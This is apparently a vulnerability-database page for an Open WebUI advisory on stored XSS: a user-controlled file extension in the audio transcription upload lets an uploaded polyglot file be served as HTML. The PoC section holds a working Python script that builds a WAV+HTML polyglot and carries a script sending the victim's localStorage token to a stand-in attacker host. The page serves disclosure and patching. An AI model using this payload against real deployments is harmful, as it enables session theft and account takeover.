NIST deprecates RSA-2048 from 2030. Find every one of them before attackers do.
🐍
🐍 PyPI
Not in CISA KEV
HIGH severity

Open WebUI has stored XSS via attacker-controlled file extension in /api/v1/audio/transcriptionsGHSA-m8f9-9whg-f4xr

HIGH

GHSA-m8f9-9whg-f4xr is a high-severity (CVSS 8.7) Cross-site Scripting (XSS) vulnerability in open-webui. A fix is available for open-webui — see the affected versions and patch details below.

Also known asCVE-2026-45315PYSEC-2026-2748
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Nov 10, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for GHSA-m8f9-9whg-f4xr.

EPSS Exploitation Probability

via FIRST.org ↗
0.2%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs8th percentile — riskier than 8% of all scored CVEsHighest risk
0.00%0.23%0.46%0.69%0.0%0.2%Jun 26Sep 26Nov 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

Where this sits among everything scored

Real-World Exposure

1 pkg affected
🐍open-webui

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The audio transcription upload endpoint takes the file extension from the user-supplied filename and saves the file under CACHE_DIR/audio/transcriptions/<uuid>.<ext>. The /cache/{path} route serves these files via FileResponse, which sets Content-Type from the on-disk extension and emits no Content-Disposition. A verified user with the default-on chat.stt permission can upload a polyglot WAV+HTML file named pwn.html and trick any other user into opening the resulting URL — the response comes back as text/html and any embedded <script> runs in the Open WebUI origin.

Details

Verified on main @ 8dae237a (v0.9.2):

  • backend/open_webui/routers/audio.py:1244-1249 — ext = safe_name.rsplit('.', 1)[-1] from user-supplied filename, then filename = f'{id}.{ext}'. No
    allowlist, no cross-check against file.content_type.
  • backend/open_webui/main.py:2768-2779 — /cache/{path:path} returns FileResponse(file_path). Starlette derives Content-Type from the filename extension
    and sets no Content-Disposition.
  • backend/open_webui/utils/misc.py:889-921 — strict_match_mime_type defaults to ['audio/*', 'video/webm'], so Content-Type: audio/wav on the upload passes regardless of the actual body.
  • backend/open_webui/config.py:1482 — USER_PERMISSIONS_CHAT_STT defaults to True.
  • src/routes/+layout.svelte (lines 123, 142, 177, 528, 638, …) — JWT lives in localStorage.token, reachable from JS in the origin.
  • backend/open_webui/utils/oauth.py:1736-1739 — OAuth token cookie set with httponly=False.

PoC

Tested end-to-end against a harness re-exporting the exact handlers from audio.py and main.py. The cached response was Content-Type: text/html; charset=utf-8 with no Content-Disposition.

import struct, httpx                                                                                                                                   

data = b'\x80' * 44100                                                                                                                                   
wav  = struct.pack('<4sI4s4sIHHIIHH4sI',
        b'RIFF', 36 + len(data), b'WAVE',                                                                                                                
        b'fmt ', 16, 1, 1, 44100, 44100, 1, 8,                                                                                                         
        b'data', len(data)) + data                                                                                                                       
payload = wav + b'<script>alert(document.domain);fetch("https://attacker.example/x?t="+localStorage.token)</script>'
                    
                                                                                                                                                         
r = httpx.post(                                                                                                                                          
    'https://VICTIM/api/v1/audio/transcriptions',                                                                                                        
    headers={'Authorization': f'Bearer {ATTACKER_JWT}'},                                                                                                 
    files={'file': ('pwn.html', payload, 'audio/wav')},                                                                                                  
)                                                                                                                                                        
fn = r.json()['filename']      # '<uuid>.html'
#Send victim to: https://VICTIM/cache/audio/transcriptions/<fn>                                                                 

https://github.com/user-attachments/assets/c263bfcd-b923-4891-9c2f-a01c1faa6408

Impact

Authenticated stored XSS in the Open WebUI origin, exploitable by any verified user with the default-on chat.stt permission. Triggered by a single click from any other authenticated user. Leads to session-token theft (JWT lives in localStorage and the OAuth cookie is non-HttpOnly), enabling full account takeover of any user — including admins. With an admin token, in-process code execution on the server is theoretically reachable through Open WebUI's existing admin-only plugin mechanism, but that path is out of scope for this report.

Affected: <= 0.9.2.

Suggested fixes (any one breaks the chain): derive the saved extension from the validated MIME against a fixed audio allowlist; on /cache, force
Content-Disposition: attachment and X-Content-Type-Options: nosniff (or restrict served extensions); move JWT to an HttpOnly; SameSite=Lax cookie.

Workaround: set USER_PERMISSIONS_CHAT_STT=False to revoke the upload right from non-admins.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIopen-webuiall versions0.9.3pip install --upgrade 'open-webui==0.9.3'

Affected Products

1 product · 1 configurations
Application
open webuiopenwebui
< 0.9.3
range

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for open-webui, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update open-webui to 0.9.3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-m8f9-9whg-f4xr is resolved across your whole dependency graph.

  3. Workarounds

    Escape or sanitise the affected output on the server side rather than relying on client-side filtering, and add a Content-Security-Policy that blocks inline script execution so injected markup cannot run even if it reaches the page.

Frequently Asked Questions

## Summary The audio transcription upload endpoint takes the file extension from the user-supplied filename and saves the file under CACHE_DIR/audio/transcriptions/<uuid>.<ext>. The /cache/{path} route serves these files via FileResponse, which sets Content-Type from the on-disk extension and emits no Content-Disposition. A verified user with the default-on chat.stt permission can upload a polyglot WAV+HTML file named pwn.html and trick any other us
O3 Security · Impact-Aware SCA

Is GHSA-m8f9-9whg-f4xr in your dependencies?

Find it across PyPI, including transitive dependencies.

Open WebUI has stored XSS via attacker-controlled file…